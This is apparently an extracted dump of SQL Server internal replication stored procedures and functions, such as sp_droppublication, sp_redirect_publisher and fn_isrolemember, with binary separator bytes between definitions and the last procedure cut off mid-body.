						AND mss.publication_id = msp.publication_id
				JOIN master.dbo.sysservers msyss
					ON msyss.srvid = mss.subscriber_id
				JOIN MSarticles msa
					ON mss.publisher_id = msa.publisher_id
						AND mss.publisher_db = msa.publisher_db
						AND mss.publication_id = msa.publication_id
						AND mss.article_id = msa.article_id
			WHERE mss.publisher_id = @publisher_id
				AND mss.publisher_db = @publisher_db
	FOR READ ONLY
	
	OPEN #cursorSubscriptions

	FETCH #cursorSubscriptions INTO @publication, @article_id, @article, @subscriber, @subscriber_db
	WHILE @@FETCH_STATUS != -1
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_subscription @publisher = @publisher,
													@publisher_db = @publisher_db,
													@subscriber = @subscriber,
													@article_id = @article_id,
													@subscriber_db = @subscriber_db,
													@publication = @publication,
													@article = @article
		IF @@ERROR != 0 OR @retcode != 0
			GOTO UNDO

		FETCH #cursorSubscriptions INTO @publication, @article_id, @article, @subscriber, @subscriber_db
	END

	CLOSE #cursorSubscriptions
	DEALLOCATE #cursorSubscriptions

	-- drop all articles associated with the pub/pubdb
	DECLARE #cursorArticles CURSOR LOCAL FAST_FORWARD FOR
		SELECT DISTINCT msp.publication,
				msa.article
			FROM MSpublications msp
				JOIN MSarticles msa
				ON msp.publisher_id = msa.publisher_id
					AND msp.publisher_db = msa.publisher_db
					AND msp.publication_id = msa.publication_id
			WHERE msp.publisher_id = @publisher_id
				AND msp.publisher_db = @publisher_db
	FOR READ ONLY
	
	OPEN #cursorArticles

	FETCH #cursorArticles INTO @publication, @article
	WHILE @@FETCH_STATUS != -1
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_article @publisher = @publisher, 
												@publisher_db = @publisher_db, 
												@publication = @publication, 
												@article = @article
        IF @@ERROR != 0 OR @retcode != 0
			GOTO UNDO

		FETCH #cursorArticles INTO @publication, @article
	END

	CLOSE #cursorArticles
	DEALLOCATE #cursorArticles
	
	-- drop all publications associated with the pub/pubdb
	DECLARE #cursorPublications CURSOR LOCAL FAST_FORWARD FOR
		SELECT DISTINCT msp.publication
			FROM MSpublications msp
			WHERE msp.publisher_id = @publisher_id
				AND msp.publisher_db = @publisher_db
	FOR READ ONLY
	
	OPEN #cursorPublications

	FETCH #cursorPublications INTO @publication
	WHILE @@FETCH_STATUS != -1
	BEGIN
		EXEC @retcode = sys.sp_MSdrop_publication @publisher = @publisher,
													@publisher_db = @publisher_db,
													@publication = @publication
		IF @@ERROR != 0 OR @retcode != 0
			GOTO UNDO

		FETCH #cursorPublications INTO @publication
	END

	CLOSE #cursorPublications
	DEALLOCATE #cursorPublications
	
	-- drop all jobs associated with the pub/pubdb that remain
	EXEC @retcode = sys.sp_MSforce_drop_distribution_jobs @publisher = @publisher,
															@publisher_db = @publisher_db
															,@type = N'tran'
	IF @@ERROR <> 0 OR @retcode <> 0
	BEGIN
		GOTO UNDO
	END
	
	COMMIT TRANSACTION drop_publisherdb_metadata

	RETURN 0
UNDO:
	ROLLBACK TRANSACTION drop_publisherdb_metadata
	COMMIT TRANSACTION 
	
	RETURN 1
END
0GJ 8--
-- Name: sp_unregistercustomresolver
--
-- Descriptions: 
--          Delete the custom resolver row from the MSmerge_articleresolver table in the distribution database
--          this proc should be called in the context of the distribution database
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
--
create procedure sys.sp_unregistercustomresolver
    @article_resolver nvarchar(255)

    AS

    declare @retcode  int
    
    exec @retcode = sys.sp_MSreplcheck_publish
    if (@retcode <> 0 or @@error <> 0)
        return 1

    -- check to make sure we are executing from the distribution database context
    if (sys.fn_MSrepl_isdistdb (db_name()) != 1)
    begin
        raiserror(21482, 16, -1, N'sp_unregistercustomresolver', N'distribution')
        return (1)
    end

    if @article_resolver IS NULL or @article_resolver = ''
    begin
        RAISERROR (21717, 16, -1)
        return 1
    end

    delete from dbo.MSmerge_articleresolver where article_resolver = LTRIM(RTRIM(@article_resolver))
    
    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!Is	`<	s"M0`HW 8create procedure sys.sp_MSrepl_init_backup_lsns
as
begin
    -- The stored procedure is called by sp_replicationdboption when changing a dist
    -- db to 'sync with backup' mode
    set nocount on	
    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end
    -- Set the truncate lsns to null. By doing this
    -- the distribution agent will stop calling sp_repldone untill a dist db
    -- backup is done.
    update MSrepl_backup_lsns set valid_xact_seqno = NULL,
    	valid_xact_id = NULL
    if @@error <> 0
    	return 1
    return 0
end
0a 8 
-- add it
create view sys.dm_pdw_nodes_io_cluster_shared_drives as
select *, convert(int, null) pdw_node_id from sys.dm_io_cluster_shared_drives
0f,w #8
create procedure sys.sp_columns_rowset
(
    @table_name     sysname,
    @table_schema   sysname = NULL,
    @column_name    sysname = NULL
)
as
    select
        TABLE_CATALOG           = s_cv.TABLE_CATALOG,
        TABLE_SCHEMA            = s_cv.TABLE_SCHEMA,
        TABLE_NAME              = s_cv.TABLE_NAME,
        COLUMN_NAME             = s_cv.COLUMN_NAME,
        COLUMN_GUID             = s_cv.COLUMN_GUID,
        COLUMN_PROPID           = s_cv.COLUMN_PROPID,
        ORDINAL_POSITION        = s_cv.ORDINAL_POSITION,
        COLUMN_HASDEFAULT       = s_cv.COLUMN_HASDEFAULT,
        COLUMN_DEFAULT          = s_cv.COLUMN_DEFAULT,
        COLUMN_FLAGS            = s_cv.COLUMN_FLAGS_90,
        IS_NULLABLE             = s_cv.IS_NULLABLE,
        DATA_TYPE               = s_cv.DATA_TYPE_28, -- for backward compatibility
        TYPE_GUID               = s_cv.TYPE_GUID,
        CHARACTER_MAXIMUM_LENGTH= s_cv.CHARACTER_MAXIMUM_LENGTH_28, -- for backward compatibility
        CHARACTER_OCTET_LENGTH  = s_cv.CHARACTER_OCTET_LENGTH_28, -- for backward compatibility
        NUMERIC_PRECISION       = s_cv.NUMERIC_PRECISION,
        NUMERIC_SCALE           = s_cv.NUMERIC_SCALE,
        DATETIME_PRECISION      = s_cv.DATETIME_PRECISION_90,
        CHARACTER_SET_CATALOG   = s_cv.CHARACTER_SET_CATALOG_28, -- for backward compatibility
        CHARACTER_SET_SCHEMA    = s_cv.CHARACTER_SET_SCHEMA_28,  -- for backward compatibility
        CHARACTER_SET_NAME      = s_cv.CHARACTER_SET_NAME_28,    -- for backward compatibility
        COLLATION_CATALOG       = s_cv.COLLATION_CATALOG_28,     -- for backward compatibility
        COLLATION_SCHEMA        = s_cv.COLLATION_SCHEMA_28,      -- for backward compatibility
        COLLATION_NAME          = s_cv.COLLATION_NAME_28,        -- for backward compatibility
        DOMAIN_CATALOG          = s_cv.DOMAIN_CATALOG,
        DOMAIN_SCHEMA           = s_cv.DOMAIN_SCHEMA,
        DOMAIN_NAME             = s_cv.DOMAIN_NAME,
        DESCRIPTION             = s_cv.DESCRIPTION,
        COLUMN_LCID             = s_cv.COLUMN_LCID_28,           -- for backward compatibility
        COLUMN_COMPFLAGS        = s_cv.COLUMN_COMPFLAGS_28,      -- for backward compatibility
        COLUMN_SORTID           = s_cv.COLUMN_SORTID,
        COLUMN_TDSCOLLATION     = s_cv.COLUMN_TDSCOLLATION_28,   -- for backward compatibility
        IS_COMPUTED             = s_cv.IS_COMPUTED

    from
        sys.spt_columns_view s_cv

    where
        (
            (@table_schema is null and s_cv.TABLE_NAME = @table_name) or
            s_cv.object_id = object_id(quotename(@table_schema) + '.' + quotename(@table_name))
        ) and
        (@column_name = s_cv.COLUMN_NAME or @column_name is null)

    order by 1, 2, 3, 7
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5`<	aNĶ0] 
8create function sys.fn_isrolemember
(
    @mode int  -- 0 = generic pal role check in DB, 1 = DB owner role check, 2 = specific tran PAL role check
    ,@login sysname -- @login we need to check for
    ,@tranpubid int -- optional - needed for mode = 2
)
returns int
as
begin
    declare @fret int

    if (@mode not in (0,1,2))
        select @mode = 0
    if (@login is null)
        select @login = suser_sname()
    select @fret = 0

    if (@mode = 0)
    begin
        --
        -- generic PAL check in the current db
        --
        if exists (select * from sys.database_role_members
            where role_principal_id in (select principal_id 
                                                    from sys.database_principals 
                                                    where name like N'MSReplPAL_' + cast(db_id() as nvarchar(10)) + N'_%' 
                                                        or name like N'MSmerge_%')
                and member_principal_id = (select dp.principal_id
                                                        from sys.database_principals as dp join master.dbo.syslogins as s
                                                        on dp.sid = s.sid
                                                        and s.name = @login))
        begin
            --
            -- has access
            --
            select @fret = 1
        end
    end
    else if (@mode = 1)
    begin
        --
        -- db owner check
        --
        if exists (select * from sys.database_role_members
            where role_principal_id in (select principal_id 
                                                    from sys.database_principals 
                                                    where lower(name) = 'db_owner')
                and member_principal_id = (select dp.principal_id
                                                        from sys.database_principals as dp join master.dbo.syslogins as s
                                                        on dp.sid = s.sid
                                                        and s.name = @login))
        begin
            --
            -- has access
            --
            select @fret = 1
        end
    end
    else if (@mode = 2)
    begin
        --
        -- PAL role membership check for specific transactional publication
        --
        if exists (select * from sys.database_role_members
            where role_principal_id = (select principal_id 
                                                    from sys.database_principals 
                                                    where name = N'MSReplPAL_' + cast(db_id() as nvarchar(10)) + N'_' + cast(@tranpubid as nvarchar(10)) )
                and member_principal_id = (select dp.principal_id
                                                        from sys.database_principals as dp join master.dbo.syslogins as s
                                                        on dp.sid = s.sid
                                                        and s.name = @login))
        begin
            --
            -- has access
            --
            select @fret = 1
        end
    end
    --
    -- all done
    --
    return @fret
end
0i˼ s
8
--
-- Name:
--		sp_ORAXactSetJob
--
-- Description:
--		Manage the Oracle XactSet Job
--
-- Inputs:
--		@publisher		== name of Oracle publisher
--		@enabled		== enabled flag
--		@interval		== minutes between job execution
--		@threshold		== changes needed to force new interval
--		@LRinterval		== minutes between job execution when log reader is active
--		@LRthreshold	== changes needed to force new interval when log reader is active
--
-- Returns:
--		Return code (0 for success, 1 for failure)
--
-- Security:
--		internal stored procedure 
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_ORAXactSetJob
(
	@publisher		sysname,
	@enabled		bit = NULL,
	@interval		int = NULL,
	@threshold		int = NULL,
	@LRinterval		int = NULL,
	@LRthreshold	int = NULL
)
AS
BEGIN
	DECLARE @retcode	int
	DECLARE @pubid		int
	DECLARE @cmd			nvarchar(400)
	DECLARE	@InsColumnList		nvarchar(200)
	DECLARE	@SelectColumnList	nvarchar(200)
	
	SET NOCOUNT ON

	--
	-- Security Check: require sysadmin
	--
	IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
	BEGIN
		RAISERROR(21089,16,-1) 
		RETURN (1)
	END

	-- Get publisher ID
	SELECT @pubid = srvid
	FROM	master.dbo.sysservers
	WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
	
	IF @pubid IS NULL
	BEGIN
		RAISERROR(21600, 16, -1, @publisher)
		RETURN (1)
	END

	-- Define sp_ORAremotequery support table
	create table #hquery
	(
		seq	int identity(2,1),
		cmd	nvarchar(4000)
	)

	-- call HREPL.RefreshXactSetJob to refresh Oracle XactSet job
	INSERT INTO #hquery(cmd) VALUES (N'{CALL HREPL.REFRESHXactSetJob(')
	IF @enabled IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @enabled) + N',')
		
	IF @interval IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @interval) + N',')
		
	IF @threshold IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @threshold) + N',')
		
	IF @LRinterval IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL,')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @LRinterval) + N',')
	
	IF @LRthreshold IS NULL 
		INSERT INTO #hquery(cmd) VALUES ( N'NULL)}')
	ELSE
		INSERT INTO #hquery(cmd) VALUES (CONVERT(NVARCHAR(255), @LRthreshold) + N')}')

	EXEC @retcode = sys.sp_IHquery @publisher
	IF  (@@error <> 0 OR @retcode <> 0 )
	BEGIN
		RAISERROR (21786, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN(0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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OUTPUT,
    @expected_checksum numeric = NULL OUTPUT,
    @rowcount_only smallint = 1,
    /* 
    The @rowcount_only param is overloaded for shiloh release due to backward compatibility concerns.
    In shiloh, the checksum functionality has changed.   So 7.0 subscribers will have the old checksum 
    routines, which generate different CRC values, and do not have functionality for vertical partitions,
    or logical table structures where column offsets differ (due to ALTER TABLEs that DROP and ADD columns).

    In 7.0, this was a bit column.  0 meant do not do just a rowcount - do a checksum.  1 meant just do a 
    rowcount.

    For Shiloh, this parameter is changed to a smallint.  The name "rowcount_only" is now a 
    misnomer given the overloaded functionality.  It is really a "type of check requested"
    parameter.   But, the old name is retained for backward compatibility.   It can take 
    these values:

    0 - Do a 7.0 compatible checksum
    1 - Do a rowcount check only (remains the default)
    2 - Use new Shiloh checksum functionality.  

    Note that because 7.0 subscribers will 
    take this parameter as a bit type, not a smallint, it will be interpreted as simply
    ON.  That means that passing a 2, and having a 7.0 subscriber, will result in the 7.0
    subscriber doing only rowcount validation.   The Shiloh subscribers will do both
    rowcount and checksum.  If you want 7.0 subscribers to do checksum validation, use 
    the value of 0 for this parameter.   Shiloh subscribers can do the 7.0 compatible 
    checksum, but that checksum has the same 7.0 limitations for vertical partitions 
    and differences in physical table structure.)

    */

    @owner    sysname = NULL,
    @full_or_fast tinyint = 2,        -- full (value 0) does COUNT(*) 
                        -- fast (value 1) uses sysindexes.rowcnt if table (not view); 
                        -- conditional fast (VALUE 2) , first tries fast method, but
                        -- reverts to full if fast method shows differences.
    @shutdown_agent bit = 0,         -- If 1 will raise error 20578, which will signal replication agent to shutdown
    @table_name sysname    = NULL,        -- table name of sync object or the table name for output message
    @column_list nvarchar(max) = NULL     -- the list of columns - that way the user can skip computed columns etc
)
as
begin
    declare @retcode int
    exec @retcode = sys.sp_MStable_validation
        @table = @table,
        @expected_rowcount = @expected_rowcount output,
        @expected_checksum = @expected_checksum output,
        @rowcount_only = @rowcount_only,
        @owner = @owner,
        @full_or_fast = @full_or_fast,
        @shutdown_agent = @shutdown_agent,
        @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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<		
&e#0_@ 8
create procedure sys.sp_MSfixupdistributorsecurity (
    @publisher sysname,
    @publisher_db sysname,
    @publication sysname,
    @distributor_security_mode int, -- default 1 -- standard
    @distributor_login sysname, -- default null
    @distributor_password nvarchar(524), -- default null
    @subscription_type int
    )
AS
    DECLARE @local_distributor_security_mode int
    DECLARE @local_distributor_login sysname 
    DECLARE @local_distributor_password nvarchar(524) 
    DECLARE @retcode INT

    -- Check to ensure a login is provided if security mode is SQL Server authentication.
    select @distributor_login = rtrim(ltrim(isnull(@distributor_login, '')))
    if @distributor_security_mode = 0 and @distributor_login = ''
    begin
        -- '@distributor_login cannot be null or empty when @distributor_security_mode is set to 0 (SQL Server authentication).'
        raiserror(21694, 16, -1, '@distributor_login', '@distributor_security_mode')
        return 1
    end
    
    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_security_mode',
       @intvalue = @distributor_security_mode,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure
                                
    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_login',
       @strvalue = @distributor_login,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure

    EXEC @retcode = sys.sp_MSupdatesharedagentproperties 
       @publisher = @publisher,
       @publisher_db = @publisher_db,
       @publication = @publication,
       @property = N'distributor_password',
       @strvalue = @distributor_password,
       @subscription_type = @subscription_type
    
    IF @retcode <> 0 OR @@ERROR <> 0
        GOTO FixupFailure

    RETURN 0

FixupFailure:
    RETURN 1
 
0ƺv 	8--
-- Name: sp_redirect_publisher
--
-- Descriptions: Redirect the publisher of a published database to a 
--               new target publisher. Target can be an explicit node
--               or a HADRon virtual network name.
--
--               If the target of the redirection is NULL, the current
--               entry for the publisher database pair, if it exists,
--               is removed.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success, 1 - failure
--          raise error on failure
--
-- Security: Public procedure invoked via RPC. db_owner check
--
create procedure sys.sp_redirect_publisher
(
    @original_publisher sysname,
    @publisher_db sysname,
    @redirected_publisher sysname = null
)
as
begin
    set nocount on
   
    declare @dbname sysname = db_name()
 
    -- Security check
    --
    if is_member(N'db_owner') <> 1
    begin
        raiserror (21873, 16, -1, 'sys.sp_redirect_publisher')
        return 1
    end
    
    -- Has to be executed from a distribution database
    --
    if (sys.fn_MSrepl_isdistdb (@dbname) <> 1)
    begin
        raiserror(21874, 16, -1, 'sys.sp_redirect_publisher', @dbname)
        return 1
    end
 
    -- Input parameters must both be non-null
    --
    if @original_publisher is null or
        @publisher_db is null
    begin
        raiserror (21875, 16, -1, 'sys.sp_redirect_publisher')
        return 1
    end
	
    if exists 
        (	select redirected_publisher from MSredirected_publishers
            where publisher_db = rtrim(@publisher_db)
            and   upper(original_publisher) = upper(rtrim(@original_publisher)))
    begin
        if @redirected_publisher is not null
        begin
            update MSredirected_publishers 
            set redirected_publisher = rtrim(@redirected_publisher)
            where publisher_db = rtrim(@publisher_db)
            and   upper(original_publisher) = upper(rtrim(@original_publisher))
        end
        else
        begin
            delete from MSredirected_publishers 
            where publisher_db = rtrim(@publisher_db)
            and   upper(original_publisher) = upper(rtrim(@original_publisher))			
        end
    end
    else	
    begin
        insert into MSredirected_publishers
        values (rtrim(@original_publisher), rtrim(@publisher_db), rtrim(@redirected_publisher))
    end	 
		
    return 0		  				
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<	`	<`	MFO0#8 8create procedure sys.sp_MSpeersendtopologyinfo
(
	@request_id				int,
	@originator				sysname,
	@originator_db			sysname,
	@originator_publication	sysname
)
as
begin
	set nocount on

	declare @retcode		int,
			@cmd			nvarchar(max),
			@info_cmd		nvarchar(max),
			@response_srvr	sysname,
			@response_db	     sysname,
			@connection_info	xml,
			@distributor         sysname,
			@distributordb     sysname,
			@response_originator_id int,
			@response_conflict_retention int

	-- security check for subscriber
	-- Though the work below is related to a publisher, we use 
	-- a check for the subscriber because this is normally executed
	-- by the distribution agent at a subscriber (republisher).
	-- this should only be used by peer to peer subscribers.
	exec @retcode = sys.sp_MSreplcheck_subscribe 
       if @@error <> 0 or @retcode <> 0 
       begin
           return 1
       end

	select @cmd = NULL,
			@response_srvr = publishingservername(),
			@response_db = db_name()

	-- get the distributor information
	exec @retcode = sp_helpdistributor @distributor=@distributor out, @distribdb = @distributordb out
       if @@error <> 0 or @retcode <> 0 
       begin
           return 1
       end

	-- the topology information query
	select @info_cmd = N'set @p = (
			select * from (
				select 1 as Tag,
						NULL as Parent,
						'+quotename(@distributor,'''')+N' as [Publisher!1!Distributor],
						'+quotename(@distributordb,'''')+N' as [Publisher!1!DistributorDatabase],
						NULL as [Publication!2!Name],
						NULL as [Subscription!3!SubscriberName],
						NULL as [Subscription!3!SubscriberDatabase],
						NULL as [Subscription!3!SubscriptionType]
				union all
				select 2,1,
						'+quotename(@distributor,'''')+N' as [Publisher!1!Distributor],
						'+quotename(@distributordb,'''')+N' as [Publisher!1!DistributorDatabase],
						p.name,
						NULL,
						NULL,
						NULL
					from syspublications as p
					group by p.name
				union all
				select 3,2,
						'+quotename(@distributor,'''')+N' as [Publisher!1!Distributor],
						'+quotename(@distributordb,'''')+N' as [Publisher!1!DistributorDatabase],
						p.name,
						s.srvname,
						s.dest_db,
						s.subscription_type
					from syspublications as p join sysarticles as a
							on p.pubid = a.pubid
						join syssubscriptions as s
							on a.artid = s.artid
					where s.srvid >= 0
			) as universal_table
			order by [Publisher!1!Distributor],[Publisher!1!DistributorDatabase],[Publication!2!Name],[Subscription!3!SubscriberName],[Subscription!3!SubscriberDatabase],[Subscription!3!SubscriptionType]
			for xml explicit
			)';

	select @response_originator_id = case when originator_id is NULL then 0 else originator_id end, 
		@response_conflict_retention = case when conflict_retention is NULL then 0 else conflict_retention end
	from syspublications  
	where name = @originator_publication

	begin transaction tr_sp_MSpeersendtopologyinfo
	save transaction tr_sp_MSpeersendtopologyinfo

	exec sp_executesql
		@stmt = @info_cmd,
		@params = N'@p as xml output',
		@p = @connection_info output;

	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	select @cmd = N'if object_id(N''sys.sp_MSpeerapplytopologyinfo'', ''P'') is not null '+
				 N'exec sys.sp_MSpeerapplytopologyinfo @request_id=' + cast(@request_id as nvarchar) +
																	N',@originator=N' + quotename(@originator, '''') +
																	N',@originator_db=N' + quotename(@originator_db, '''') +
																	N',@response_srvr=N' + quotename(@response_srvr, '''') +
																	N',@response_db=N' + quotename(@response_db, '''')+
																	N',@connection_info=N' + N''''+replace(convert(nvarchar(max), @connection_info), '','''')+N'''' +
																	N',@response_srvr_version=' + cast(@@microsoftversion as nvarchar) +
																	N',@response_originator_id=' + cast(@response_originator_id as nvarchar) +
																	N',@response_conflict_retention=' + cast(@response_conflict_retention as nvarchar)

	-- if we are on the originator, then there is no need to forward the cmd, just execute it
	if UPPER(@originator) = UPPER(@response_srvr)
			and @originator_db = @response_db
	begin
		exec @retcode = sp_executesql @stmt = @cmd
	end
	-- if we are not on the originator then we do need to forward the cmd
	else
	begin
		exec @retcode = sys.sp_MSpeertopeerfwdingexec @command = @cmd,
												   @publication = @originator_publication
	end
	
	if @@error <> 0 or @retcode <> 0
		goto FAILURE

	commit transaction tr_sp_MSpeersendtopologyinfo

	return 0
FAILURE:
	rollback transaction tr_sp_MSpeersendtopologyinfo
	commit transaction

	return 1
end
0?@ 8
--
-- Name:    
--          sp_droppublication
--          
-- Description: 
--          Drops a publication and its associated articles.
--			This stored procedure is executed at the Publisher on the publication database.
--  
-- Security: 
--          Public with checks for sysadmin/dbo
--
-- Returns:
--          Success (0) or failure (1)
--      
-- Owner:   
--          <current owner> 

create procedure sys.sp_droppublication
(
	@publication		sysname,
	@ignore_distributor	bit = 0,
	@publisher			sysname = NULL,	-- optional publisher for heterogeneous publications
    @from_backup        bit = 0
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@rpcheader		= @cmd OUTPUT,
													@publisher_type	= @publisher_type OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
